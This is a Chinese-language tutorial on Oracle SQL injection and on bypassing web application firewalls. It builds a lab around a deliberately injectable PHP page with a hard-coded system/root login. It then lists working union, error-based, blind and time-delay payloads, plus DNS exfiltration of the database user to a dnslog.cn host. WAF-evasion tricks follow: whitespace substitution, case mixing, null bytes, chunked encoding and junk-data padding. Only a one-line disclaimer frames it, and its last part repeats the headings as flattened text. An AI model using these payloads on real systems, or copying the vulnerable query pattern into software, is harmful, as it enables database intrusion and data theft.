Oracle 注入bypass总结
字数 872 2025-08-24 23:51:25

Oracle 注入Bypass技术总结

0x01 环境准备

一、Oracle数据库安装

  1. 下载Oracle 11g Express Edition
  2. 运行setup.exe进行安装
  3. 启动数据库服务:
    sqlplus
    用户名: system
    口令: [安装时设置的密码]
    
  4. 使用Navicat连接数据库(用户名: system, 密码: root)

二、PHPStudy环境搭建

  1. 下载PHPStudy 2016版本
  2. 切换PHP版本为5.5.38
  3. 创建phpinfo.php测试文件:
    <?php phpinfo();?>
    

三、OCI8扩展配置

  1. 修改php.ini启用oci8扩展
  2. 下载Oracle Instant Client 11.1.x
  3. 设置环境变量Path顺序:
    instantclient路径 > PHP路径
    
  4. 验证配置:
    where oci*
    php.exe --ri oci8
    

四、漏洞测试环境

  1. 创建TEST表结构:

    ID (NUMBER)
    NAME (VARCHAR2)
    AGE (NUMBER)
    
  2. 漏洞测试PHP代码(oracle.php):

    <?php
    header("Content-Type:text/html;charset=utf-8");
    $id = @$_REQUEST['id'];
    $dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))";
    $conn = oci_connect('system','root',$dbstr);
    if (!$conn) {
      $Error = oci_error();
      print htmlentities($Error['message']);
      exit;
    } else {
      echo "<h3>Oracle 注入测试靶场</h3>"."<br>";
      $sql = "select * from TEST where id=".$id;
      echo "当前sql语句为:".$sql."<br>"."<br>";
      $ora_b = oci_parse($conn,$sql);
      oci_execute($ora_b,OCI_DEFAULT);
      while($r=oci_fetch_row($ora_b)) {
        $i=0;
        echo "Id:".$r[$i++]."  </t> <br>";
        echo "Name:".$r[$i++]."  </t><br>  ";
        echo "Age:".$r[$i++]."  </t><br>  ";
      }
    }
    oci_close($conn);
    ?>
    

0x02 Oracle注入基础测试

1. 漏洞点检测

?id=1 and 1=1  //正常返回
?id=1 and 1=2  //异常返回

2. 显错注入

?id=-1 union all select 1,(select user from dual),3,'4' from dual --

3. 报错注入

?id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

4. 布尔盲注

?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --  //返回正常
?id=1 and 1=(select decode(user,'SSSSS',1,0) from dual) --  //返回异常

5. 延时盲注

?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --

6. 外带数据

?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.pgx519.dnslog.cn') from dual)is not null --

0x03 Bypass技术详解

1. 空格替换技术

可用字符替换空格:

  • %0a (换行)
  • %0b (垂直制表符)
  • %0c (换页符)
  • %0d (回车)
  • %00 (空字符)
  • %20 (空格)
  • %09 (水平制表符)
  • //、/60001/、/!/、+、()

2. 大小写随机替换

?id=-1 uNIon ALl sELEct 1,'2',(SelEct uSEr fROm test wHEre id=1) fROm dUAl --

3. 拼接换行回车符

Oracle特殊字符:

  • CHR(10) - 换行
  • CHR(13) - 回车
  • || - 字符串拼接

示例:

?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --

4. 注入方法替换与组合

当显错注入被拦截时,可尝试:

  1. 盲注技术
  2. 结合%00替换空格:
    ?id=1 and%001=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --
    
  3. 外带数据:
    ?id=1 and%00(select utl_inaddr.get_host_address((select user from dual)||'.nm0se5.dnslog.cn') from dual)is not null --
    

5. 分块传输技术

使用分块编码传输绕过WAF检测,示例HTTP请求:

POST /oracle.php HTTP/1.1
Host: 192.168.150.6
[...]
Transfer-Encoding: chunked

2;xV1fjate8Q2XVoid
3;FBbE5aPh1njsaBHT0t8amN=-1
[...]

6. 万能脏数据技术

在语句中插入大量无用字符绕过WAF检测:

POST /oracle.php HTTP/1.1
[...]
id=-1/*脏数据*/uNIon/*脏数据*/ALl/*脏数据*/sELEct%201,%272%27,(SelEct%20uSEr%20fROm%20test%20wHEre%20id=1)%20fROm%20dUAl%20--/*脏数据*/

7. 其他绕过技术

  1. 双写关键字
  2. 各种编码方式
  3. 内联注释特殊用法:
    /*!650011select*/ (65001会被拦截,650011不会)
    

0x04 总结

Oracle注入Bypass的核心思路:

  1. 灵活运用字符替换技术绕过关键字检测
  2. 结合多种注入方法提高成功率
  3. 使用分块传输和脏数据突破WAF长度限制
  4. 根据实际情况选择最适合的绕过方式

注:文中所有技术仅用于安全研究,请勿用于非法用途。

Oracle 注入Bypass技术总结 0x01 环境准备 一、Oracle数据库安装 下载Oracle 11g Express Edition 运行setup.exe进行安装 启动数据库服务: 使用Navicat连接数据库(用户名: system, 密码: root) 二、PHPStudy环境搭建 下载PHPStudy 2016版本 切换PHP版本为5.5.38 创建phpinfo.php测试文件: 三、OCI8扩展配置 修改php.ini启用oci8扩展 下载Oracle Instant Client 11.1.x 设置环境变量Path顺序: 验证配置: 四、漏洞测试环境 创建TEST表结构: 漏洞测试PHP代码(oracle.php): 0x02 Oracle注入基础测试 1. 漏洞点检测 2. 显错注入 3. 报错注入 4. 布尔盲注 5. 延时盲注 6. 外带数据 0x03 Bypass技术详解 1. 空格替换技术 可用字符替换空格: %0a (换行) %0b (垂直制表符) %0c (换页符) %0d (回车) %00 (空字符) %20 (空格) %09 (水平制表符) / /、/60001/、/! /、+、() 2. 大小写随机替换 3. 拼接换行回车符 Oracle特殊字符: CHR(10) - 换行 CHR(13) - 回车 || - 字符串拼接 示例: 4. 注入方法替换与组合 当显错注入被拦截时,可尝试: 盲注技术 结合%00替换空格: 外带数据: 5. 分块传输技术 使用分块编码传输绕过WAF检测,示例HTTP请求: 6. 万能脏数据技术 在语句中插入大量无用字符绕过WAF检测: 7. 其他绕过技术 双写关键字 各种编码方式 内联注释特殊用法: 0x04 总结 Oracle注入Bypass的核心思路: 灵活运用字符替换技术绕过关键字检测 结合多种注入方法提高成功率 使用分块传输和脏数据突破WAF长度限制 根据实际情况选择最适合的绕过方式 注:文中所有技术仅用于安全研究,请勿用于非法用途。